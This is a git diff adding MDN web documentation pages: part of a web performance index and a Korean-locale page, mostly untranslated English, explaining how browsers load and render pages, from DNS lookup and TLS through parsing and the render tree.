+ <dd>The lowest hanging fruit of web performance is often media optimization. Serving different media files based on each user agent's capability, size, and pixel density is possible. Additional tips like removing audio tracks from background videos can improve performance even further. In this article we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></dt>
+ <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. This article outlines some JavaScript best practices that should be considered to ensure even complex content is as performant as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU and battery life, it is important to consider the performance of your web content on these platforms. This article looks at mobile-specific performance considerations.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Using Performance APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a></dt>
+ <dd>This guide describes how to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interfaces that are defined in the <a class="external external-icon" href="https://w3c.github.io/hr-time/" rel="noopener">High-Resolution Time</a> standard.</dd>
+ <dt><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></dt>
+ <dd><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource loading and timing</a> the loading of those resources, including managing the resource buffer and coping with CORS</dd>
+ <dt><a href="/en-US/docs/Web/API/Performance_Timeline/Using_Performance_Timeline">The performance timeline</a></dt>
+ <dd>The <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a> standard defines extensions to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interface to support client-side latency measurements within applications. Together, these interfaces can be used to help identify an application's performance bottlenecks.</dd>
+ <dt><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">User Timing API</a></dt>
+ <dd>Create application specific timestamps using the <a href="/en-US/docs/Web/API/User_Timing_API">user timing API</a>'s "mark" and "measure" entry types - that are part of the browser's performance timeline.</dd>
+ <dt><a href="/en-US/docs/Web/API/Frame_Timing_API/Using_the_Frame_Timing_API">Frame Timing API</a></dt>
+ <dd>The <code><a href="/en-US/docs/Web/API/PerformanceFrameTiming">PerformanceFrameTiming</a></code> interface provides <em>frame</em> timing data about the browser's event loop.</dd>
+ <dt><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></dt>
+ <dd><small>The <a href="/en-US/docs/Web/API/Beacon_API">Beacon</a> interface schedules an asynchronous and non-blocking request to a web server.</small></dd>
+ <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Intersection Observer API</a></dt>
+ <dd>Learn to time element visibility with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> and be asynchronously notified when elements of interest becomes visible.</dd>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Developer Tools Performance Features</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt>
+ <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Glossary_Terms">Glossary Terms</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="Documents_yet_to_be_written">Documents yet to be written</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences ... or it can significantly harm download time, render time, in app performance, battery life, and user experience. <span class="veryhardreadability"><span><span>This article outlines some JavaScript best practices that can ensure even complex content's performance is the highest possible.</span></span></span></dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU, and battery life, it is important to consider the performance of your web content on these platforms. This article also looks at mobile-specific performance considerations.</dd>
+ <dt>Web font performance</dt>
+ <dd>An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience.</dd>
+ <dt>Performance bottlenecks</dt>
+ <dd></dd>
+ <dt>Understanding bandwidth</dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>Bandwidth is the amount of data measured in Megabits(Mb) or Kilobits(Kb) that one can send per second. </span></span><span class="veryhardreadability"><span><span>This article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth</span></span></span><span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dd></dd>
+ <dt>The role of TLS in performance</dt>
+ <dd>
+ <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p>
+ </dd>
+ <dt>Reading performance charts</dt>
+ <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd>
+ <dt>Alternative media formats</dt>
+ <dd>When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them.</dd>
+ <dt>Analyzing JavaScript bundles</dt>
+ <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. <span class="veryhardreadability"><span><span>In this guide, we'll show you how to analyze your application's script bundles, so you know </span></span><em><span>what</span></em><span><span> you're using, as well how to detect if your app contains duplicated scripts between bundles</span></span></span><span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/Performance/Lazy_loading">Lazy loading</a></dt>
+ <dd>It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is deferring the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time i.e when those assets are actually needed.</dd>
+ <dt>Lazy-loading JavaScript with dynamic imports</dt>
+ <dd>When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlling resource delivery with resource hints</a></dt>
+ <dd>Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budgets">Performance Budgets</a></dt>
+ <dd>Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Web performance checklist</a></dt>
+ <dd>A performance checklist of features to consider when developing applications with links to tutorials on how to implement each feature, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></dt>
+ <dd>A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+ <ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>Font-loading best practices</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+ <ul>
+ <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>The Network panel</li>
+ <li>Waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+ <ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html b/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html
new file mode 100644
index 0000000000..473e30980d
--- /dev/null
+++ b/files/ko/web/performance/브라우저는_어떻게_동작하는가/index.html
@@ -0,0 +1,204 @@
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+title: '웹페이지를 표시한다는 것: 브라우저는 어떻게 동작하는가'
+slug: Web/Performance/브라우저는_어떻게_동작하는가
+translation_of: Web/Performance/How_browsers_work
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+<p>Users want web experiences with content that is fast to load and smooth to interact with. Therefore, <span class="seoSummary">a developer should strive to achieve these two goals. </span></p>
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+<p><span class="seoSummary">To understand how to improve performance and perceived performance, it helps to understand how the browser works.</span></p>
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+<h2 id="개요">개요</h2>
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+<p>Fast sites provide better user experiences. Users want and expect web experiences with content that is fast to load and smooth to interact with.</p>
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+<p>Two major issues in web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded.</p>
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+<p>Latency is our main threat to overcome to ensure a fast load. To be fast to load, the developers’ goals include sending requested information as fast as possible, or at least seem super fast. Network latency is the time it takes to transmit bytes over-the-air to computers. Web performance is what we have to do to make the page load happen as quickly as possible.</p>
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+<p>For the most part, browsers are considered single threaded. For smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch. Render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. Web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate.</p>
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+<h2 id="여정">여정</h2>
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+<p><em>Navigation</em> is the first step in loading a web page. It occurs whenever a user requests a page by entering a URL into the address bar, clicking a link, submitting a form, as well as other actions.</p>
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+<p>One of the goals of web performance is to minimize the amount of time a navigation takes to complete. In ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.</p>
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+<h3 id="DNS_Lookup">DNS Lookup</h3>
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+<p>The first step of navigating to a web page is finding where the assets for that page are located. If you navigate to <code>https://example.com</code>, the HTML page is located on the server with IP address of <code>93.184.216.34</code>. If you’ve never visited this site, a DNS lookup must happen.</p>
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+<p>Your browser requests a DNS lookup, which is eventually fielded by a name server, which in turn responds with an IP address. After this initial request, the IP will likely be cached for a time, which speeds up subsequent requests by retrieving the IP address from the cache instead of contacting a name server again.</p>
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+<p>DNS lookups usually only need to be done once per hostname for a page load. However, DNS lookups must be done for each unique hostname the requested page references. If your fonts, images, scripts, ads, and metrics all have different hostnames, a DNS lookup will have to be made for each one.</p>
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+<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
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+<p>This can be problematic for performance, particularly on mobile networks. When a user is on a mobile network, each DNS lookup has to go from the phone to the cell tower to reach an authoritative DNS server. The distance between a phone, a cell tower, and the name server can add significant latency.</p>
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+<h3 id="TCP_Handshake">TCP Handshake</h3>
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+<p>Once the IP address is known, the browser sets up a connection to the server via a {{glossary('TCP handshake','TCP three-way handshake')}}. This mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network TCP socket connection before transmitting data, often over {{glossary('HTTPS')}}.</p>
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+<p>TCP's three way handshaking technique is often referred to as "SYN-SYN-ACK"—or more accurately SYN, SYN-ACK, ACK—because there are three messages transmitted by TCP to negotiate and start a TCP session between two computers. Yes, this means three more messages back and forth between each server, and the request has yet to be made.</p>
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+<h3 id="TLS_Negotiation">TLS Negotiation</h3>
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+<p>For secure connections established over HTTPS, another "handshake" is required. This handshake, or rather the {{glossary('TLS')}} negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data. This requires three more round trips to the server before the request for content is actually sent.</p>
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+<p><img alt="The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client." src="https://mdn.mozillademos.org/files/16746/ssl.jpg" style="height: 412px; width: 729px;"></p>
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+<p>While making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the web server cannot be decrypted by a third party.</p>
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+<p>After the 8 round trips, the browser is finally able to make the request.</p>
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+<h2 id="응답">응답</h2>
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+<p>Once we have an established connection to a web server, the browser sends an initial <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> request</a> on behalf of the user, which for websites is most often an HTML file. Once the server receives the request, it will reply with relevant response headers and the contents of the HTML.</p>
+
+<pre class="brush: html">&lt;!doctype HTML&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8"/&gt;
+ &lt;title&gt;My simple page&lt;/title&gt;
+ &lt;link rel="stylesheet" src="styles.css"/&gt;
+ &lt;script src="myscript.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1 class="heading"&gt;My Page&lt;/h1&gt;
+ &lt;p&gt;A paragraph with a &lt;a href="https://example.com/about"&gt;link&lt;/a&gt;&lt;/p&gt;
+ &lt;div&gt;
+ &lt;img src="myimage.jpg" alt="image description"/&gt;
+ &lt;/div&gt;
+ &lt;script src="anotherscript.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>This response for this initial request contains the first byte of data received. {{glossary('Time to First Byte')}} (TTFB) is the time between when the user made the request—say by clicking on a link—and the receipt of this first packet of HTML. The first chunk of content is usually 14kb of data.</p>
+
+<p>In our example above, the request is definitely less than 14Kb, but the linked resources aren't requested until the browser encounters the links during parsing, described below.</p>
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+<h3 id="TCP_Slow_Start_14kb_rule">TCP Slow Start / 14kb rule</h3>
+
+<p>The first response packet will be 14Kb. This is part of {{glossary('TCP slow start')}}, an algorithm which balances the speed of a network connection. Slow start gradually increases the amount of data transmitted until the network's maximum bandwidth can be determined.</p>
+
+<p>In {{glossary('TCP slow start')}}, after receipt of the initial packet, the server doubles the size of the next packet to around 28Kb. Subsequent packets increase in size until a predetermined threshold is reached, or congestion is experienced.</p>
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+<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
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+<p>If you’ve ever heard of the 14Kb rule for initial page load, TCP slow start is the reason why the initial response is 14Kb, and why web performance optimization calls for focusing optimizations with this initial 14Kb response in mind. TCP slow start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion.</p>
+
+<h3 id="Congestion_control">Congestion control</h3>
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+<p><span style="font-weight: 400;">As the server sends data in TCP packets, the user's client confirms delivery by returning acknowledgements, or ACKs. The connection has a limited capacity depending on hardware and network conditions. If the server sends too many packets too quickly, they will be dropped. Meaning, there will be no acknowledgement. The server registers this as missing ACKs. Congestion control algorithms use this flow of sent packets and ACKs to determine a send rate.</span></p>
+
+<h2 id="파싱">파싱</h2>
+
+<p>Once the browser receives the first chunk of data, it can begin parsing the information received. {{glossary('speculative parsing', 'Parsing')}} is the step the browser takes to turn the data it receives over the network into the {{glossary('DOM')}} and {{glossary('CSSOM')}}, which is used by the renderer to paint a page to the screen.</p>
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+<p>The DOM is the internal representation of the markup for the browser. The DOM is also exposed, and can be manipulated through various APIs in JavaScript.</p>
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+<p>Even if the request page's HTML is larger than the initial 14KB packet, the browser will begin parsing and attempting to render an experience based on the data it has. This is why it's important for web performance optimization to include everything the browser needs to start rendering a page, or at least a template of the page - the CSS and HTML needed for the first render -- in the first 14 kilobytes. But before anything is rendered to the screen, the HTML, CSS, and JavaScript have to be parsed.</p>
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+<h3 id="Building_the_DOM_tree">Building the DOM tree</h3>
+
+<p>We describe five steps in the <a href="/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a>.</p>
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+<p>The first step is processing the HTML markup and building the DOM tree. HTML parsing involves <a href="/en-US/docs/Web/API/DOMTokenList">tokenization</a> and tree construction. HTML tokens include start and end tags, as well as attribute names and values. If the document is well-formed, parsing it is straightforward and faster. The parser parses tokenized input into the document, building up the document tree.</p>
+
+<p>The DOM tree describes the content of the document. The <code><a href="/en-US/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> element is the first tag and root node of the document tree. The tree reflects the relationships and hierarchies between different tags. Tags nested within other tags are child nodes. The greater the number of DOM nodes, the longer it takes to construct the DOM tree.</p>
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+<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
+
+<p>When the parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. Parsing can continue when a CSS file is encountered, but <code>&lt;script&gt;</code> tags—particularly those without an <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> or <code>defer</code> attribute—block rendering, and pause the parsing of HTML. Though the browser's preload scanner hastens this process, excessive scripts can still be a significant bottleneck.</p>
+
+<h3 id="Preload_scanner">Preload scanner</h3>
+
+<p>While the browser builds the DOM tree, this process occupies the main thread. As this happens, the <em>preload scanner</em> will parse through the content available and request high priority resources like CSS, JavaScript, and web fonts. Thanks to the preload scanner, we don't have to wait until the parser finds a reference to an external resource to request it. It will retrieve resources in the background so that by the time the main HTML parser reaches requested assets, they may possibly already be in flight, or have been downloaded. The optimizations the preload scanner provides reduce blockages.</p>
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+<pre class="brush:html">&lt;link rel="stylesheet" src="styles.css"/&gt;
+&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+&lt;img src="myimage.jpg" alt="image description"/&gt;
+&lt;script src="anotherscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+</pre>
+
+<p>In this example, while the main thread is parsing the HTML and CSS, the preload scanner will find the scripts and image, and start downloading them as well. To ensure the script doesn't block the process, add the <code>async</code> attribute, or the <code>defer</code> attribute if JavaScript parsing and execution order is not important.</p>
+
+<p>Waiting to obtain CSS doesn't block HTML parsing or downloading, but it does block JavaScript, because JavaScript is often used to query CSS properties’ impact on elements.</p>
+
+<h3 id="Building_the_CSSOM">Building the CSSOM</h3>
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+<p>The second step in the critical rendering path is processing CSS and building the CSSOM tree. The CSS object model is similar to the DOM. <span style="color: #212121; display: inline !important; float: none; font-family: Roboto,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">The DOM and CSSOM are both trees. They are independent data structures</span>. The browser converts the CSS rules into a map of styles it can understand and work with. The browser goes through each rule set in the CSS, creating a tree of nodes with parent, child, and sibling relationships based on the CSS selectors.</p>
+
+<p>As with HTML, the browser needs to convert the received CSS rules into something it can work with. Hence, it repeats the HTML-to-object process, but for the CSS.</p>
+
+<p>The CSSOM tree includes styles from the user agent style sheet. The browser begins with the most general rule applicable to a node and recursively refines the computed styles by applying more specific rules. In other words, it cascades the property values.</p>
+
+<p>Building the CSSOM is very, very fast and is not displayed in a unique color in current developer tools. Rather, the "Recalculate Style" in developer tools shows the total time it takes to parse CSS, construct the CSSOM tree, and recursively calculate computed styles. In terms of web performance optimization, there are lower hanging fruit, as the total time to create the CSSOM is generally less than the time it takes for one DNS lookup.</p>
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+<h3 id="Other_Processes">Other Processes</h3>
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+<h4 id="JavaScript_Compilation">JavaScript Compilation</h4>
+
+<p>While the CSS is being parsed and the CSSOM created, other assets, including JavaScript files, are downloading (thanks to the preload scanner). JavaScript is interpreted, compiled, parsed and executed. The scripts are parsed into abstract syntax trees. Some browser engines take the {{glossary('Abstract Syntax Tree')}} and pass it into an interpreter, outputting bytecode which is executed on the main thread. This is known as JavaScript compilation.</p>
+
+<h4 id="Building_the_Accessibility_Tree">Building the Accessibility Tree</h4>
+
+<p>The browser also builds an <a href="/en-US/docs/Learn/Accessibility">accessibility</a> tree that assistive devices use to parse and interpret content. The accessibility object model (AOM) is like a semantic version of the DOM. The browser updates the accessibility tree when the DOM is updated. The accessibility tree is not modifiable by assistive technologies themselves.</p>
+
+<p>Until the AOM is built, the content is not accessible to <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Screen_Reader_Implementors_Guide">screen readers</a>.</p>
+
+<h2 id="렌더">렌더</h2>
+
+<p>Rendering steps include style, layout, paint and, in some cases, compositing. The CSSOM and DOM trees created in the parsing step are combined into a render tree which is then used to compute the layout of every visible element, which is then painted to the screen. In some cases, content can be promoted to their own layers and composited, improving performance by painting portions of the screen on the GPU instead of the CPU, freeing up the main thread.</p>
+
+<h3 id="Style">Style</h3>
+
+<p>The third step in the critical rendering path is combining the DOM and CSSOM into a render tree.The computed style tree, or render tree, construction starts with the root of the DOM tree, traversing each visible node.</p>
+
+<p>Tags that aren't going to be displayed, like the <code><a href="/en-US/docs/Web/HTML/Element/head">&lt;head&gt;</a></code> and its children and any nodes with <code>display: none</code>, such as the <code>script { display: none; }</code> you will find in user agent stylesheets, are not included in the render tree as they will not appear in the rendered output. Nodes with <code>visibility: hidden</code> applied are included in the render tree, as they do take up space. As we have not given any directives to override the user agent default, the <code>script</code> node in our code example above will not be included in the render tree.</p>
+
